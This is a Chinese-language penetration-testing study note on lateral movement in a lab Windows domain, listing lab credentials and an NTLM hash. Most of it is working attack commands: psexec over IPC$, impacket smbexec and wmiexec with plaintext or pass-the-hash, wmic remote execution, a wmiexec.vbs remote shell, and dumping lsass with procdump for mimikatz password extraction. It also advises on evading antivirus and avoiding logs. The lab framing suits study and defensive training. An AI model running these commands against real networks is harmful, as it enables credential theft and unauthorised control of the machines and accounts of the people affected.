内网渗透学习(四)域横向移动——SMB和WMI服务利用
环境准备:
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
一、SMB服务利用
1.介绍
SMB基础知识:
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求-回复协议。
客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。
利用思路:
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
2.演示
(1)psexec 使用
psexec 介绍:
PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。
优点:
- psexec 属于合法工具,因此当杀毒软件检测到时,有可能只会发出警告,或者直接忽略。
- 工具可直接从微软官方下载。
- 目标用户的主机可能已经安装,为攻击者提供方便。
缺点:
- 特征明显,psexec 类工具会释放文件,易被杀毒软件检测到。
- 执行过程中需要安装服务,会留下日志,容易被溯源。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
使用:
第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd
# 需要先有 ipc 链接 -s 以 System 权限运行
如图成功返回会话
第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
(2)smbexec使用
smbexec 介绍:
smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接
下载地址:https://github.com/maaaaz/impacket-examples-windows
使用:
明文传递
smbexec ./administrator:admin!@#45@192.168.3.32
哈希值传递
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
二、WMI 服务利用
1.介绍
WMI 简介:
WMI(Windows Management Instrumentation)可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。
WMIC:
wmic是WMI的其中的一个自带的windows命令行工具,可以直接使用,功能也是比较强大的。
利用:
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
2.演示
(1)自带 WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
将 ipconfig 的信息打印至目标主机 C 盘1.txt 中
由于没有回显,打开目标主机验证查看是否生成
如图,已生成
(2)自带 cscript 明文传递 有回显
wmiexecvbs下载地址:
https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
(3)套件 impacket wmiexec
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
三、Procdump+Mimikatz配合获取密码
1.介绍
ProcDump 简介:
Procdump 是一个轻量级的 Sysinternal 团队开发的命令行工具, 它的主要目的是监控应用程序的 CPU 异常动向, 并在此异常时生成 crash dump 文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成 dump 的工具使用在其他的脚本中。
lsass.exe简介:
lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。它会将密码缓存在进程中。
为什么要使用 ProcDump?
由于 mimikatz 放入目标主机易被查杀,所以我们使用 ProcDump 放在目标主机,ProcDump微软官方自带软件不会被拦截,将其生成的 lsass.dump 文件传入本地,在本地使用 mimikatz 提取 lsass.dump 储存的密码。
ProcDump下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
2.演示
将 ProcDump 上传至目标主机
生成 lssas.dump 文件
procdump -accepteula -ma lsass.exe lsass.dmp
将生成的 lsass.dump 文件放入本地 mimikatz 目录
使用 mimikatz 提取密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
成功提取